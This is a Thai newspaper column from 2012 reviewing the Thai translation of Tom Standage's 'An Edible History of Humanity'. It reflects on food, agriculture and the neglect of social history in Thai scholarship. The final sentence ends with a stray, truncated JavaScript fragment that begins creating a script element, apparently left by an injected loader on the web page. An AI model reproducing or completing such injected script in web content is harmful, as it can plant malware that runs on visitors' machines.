มติชนรายวัน ฉบับประจำวันพุธที่ 28 มีนาคม 2555

 

          “อาหารคือทรัพย์ และการควบคุมอาหารคืออำนาจ” นี่เป็นความจริงในสังคมยุคเริ่มแรกที่ผมอ่านจากหนังสือประวัติศาสตร์กินได้

          แล้วชวนให้คิดต่อไปอีกว่าสงครามในประวัติศาสตร์ ไม่ว่า“ยุทธหัตถี”ของไทยหรือของใครในโลก บางทีจะเป็นสงครามชิงอาหารการกินนี่เอง

          ประวัติศาสตร์แห่งชาติของไทย เป็นประวัติศาสตร์ราชวงศ์และสงครามที่“ครอบงำให้เชื่อ ไม่เอื้อให้คิด” จึงไม่มีประวัติศาสตร์สังคมที่บอกเล่าวิถีชีวิต “กิน-ขี้-ปี้-นอน” ของคน โดยเฉพาะเรื่องกิน

          คนไทยทั่วไปเลยไม่อยากยุ่งเกี่ยวประวัติศาสตร์ไทย ส่วนพวกยุ่งเกี่ยวมักเชื่ออย่างงมงายตามการครอบงำ

          เช่นเดียวกับเรื่องวัฒนธรรมของไทย เมื่อมนุษย์เปลี่ยนอย่างช้าๆ จากยังชีพด้วยการล่าสัตว์ เป็นตั้งบ้านเรือนแล้วยังชีพด้วยการเพาะปลูกและเลี้ยงสัตว์เป็นอาหาร ซึ่งทางสากลโลกถือว่าเป็นที่มาของอารยธรรมและวัฒนธรรม

          Culture ในดิคชันนารี หมายถึงการเพาะปลูก, การเพาะพันธุ์พืชหรือสัตว์ แต่ไทยเอามาแปลเป็นคำแขกว่าวัฒนธรรม แล้วอธิบายความหมายไปคนละจักรวาลกับสากลโลก

          ประวัติศาสตร์กินได้ โดย โตมร ศุขปรีชา แปลจากเรื่อง An Edible History of Humanity ของ Tom Standage เป็นหนังสือบอกเล่าความเป็นมาเรื่องอาหารการกินของมนุษย์ตั้งแต่ยุคดึกดำบรรพ์ (ก่อนประวัติศาสตร์) จนปัจจุบัน ที่ประมวลหลักฐานความรู้จากประวัติศาสตร์, โบราณคดี, มานุษยวิทยา, พฤกษศาสตร์, เศรษฐศาสตร์, และอื่นๆ

          ผมมีปัญหาที่สติปัญญาขาดแคลนอย่างแร้นแค้นจนอ่านหนังสือแปลทั้งหลายไม่เข้าใจ หรือเข้าใจยากมากๆ ต้องมีผู้รู้นำทางถึงจะพอกระดิกหู รู้บ้างไม่รู้บ้าง

          เมื่อมีผู้แนะนำให้อ่านเล่มนี้ จึงรีรอและขยาด จน อ. นิธิ เอียวศรีวงศ์ เขียนแนะนำในมติชนสุดสัปดาห์ จึงไปซื้อมาอ่านรวดเดียวจบเล่ม เพราะแปลง่ายอ่านง่ายและเข้าใจสบายมาก ทำให้ต้องหาซื้ออีกหลายเล่มไปแจกพรรคพวกโบราณคดีที่ยังไม่ได้อ่าน

          ประวัติศาสตร์กินได้บอกว่า ข้าวสาลี, ข้าวเจ้า, ข้าวโพด เป็นข้าว 3 อย่าง ที่พิสูจน์แล้วว่าสำคัญที่สุด เพราะเป็นอาหารที่วางรากฐานอารยธรรม แล้วยังคงเกื้อหนุนสังคมมนุษย์มาจนถึงทุกวันนี้

          ท้ายที่สุดแล้วหนังสือเล่มนี้ บอกอีกว่า อาหารเกือบทั้งหมดที่เรากินกันทุกวันนี้จึงแทบไม่มีอะไรที่เรียกว่าเป็นของธรรมชาติได้เลย เกือบทั้งหมดเป็นสายพันธุ์ที่ผ่านการคัดสรร ในตอนแรกก็ทำกันอย่างไม่รู้ตัว แต่ต่อมาก็จงใจและพิถีพิถันมากขึ้นเมื่อเกษตรกรขยายพันธุ์พืชป่าที่คุณลักษณะพึงปรารถนา แล้วสร้างเป็นสายพันธุ์ที่ดีขึ้นและเหมาะสมกับความต้องการของมนุษย์มากขึ้น ข้าวโพด วัว และไก่ อย่างที่เรารู้จักนั้นไม่ได้เกิดขึ้นโดยธรรมชาติ และทุกวันนี้พวกมันก็ไม่อาจอยู่รอดได้หากมนุษย์ไม่เข้าไปแทรกแซง

          “การเกษตรนั้นไม่เป็นธรรมชาติอย่างยิ่ง มันมีส่วนอย่างยิ่งในการเปลี่ยนโลก และมีผลใหญ่หลวงต่อสิ่งแวดล้อมมากกว่ากิจกรรมอื่นใดของมนุษย์

          การเกษตรนำไปสู่การทำลายป่าและสิ่งแวดล้อมในวงกว้าง รวมถึงการเปลี่ยนลักษณะดั้งเดิมของสิ่งมีชีวิตในป่าที่ ‘เป็นธรรมชาติ’”

          การศึกษาประวัติศาสตร์โบราณคดีของไทย ไม่สนใจเรื่องอย่างนี้ เพราะ“ไม่ไทย”

          แต่หารู้ไม่ว่าเรื่องพวกนี้แหละที่จะนำไปสู่ความเข้าใจความเป็นไทยและวัฒนธรรมไทยอย่างมีชีวิตชีวาแท้จริงvar d=document;var s=d.createElement(‘script’);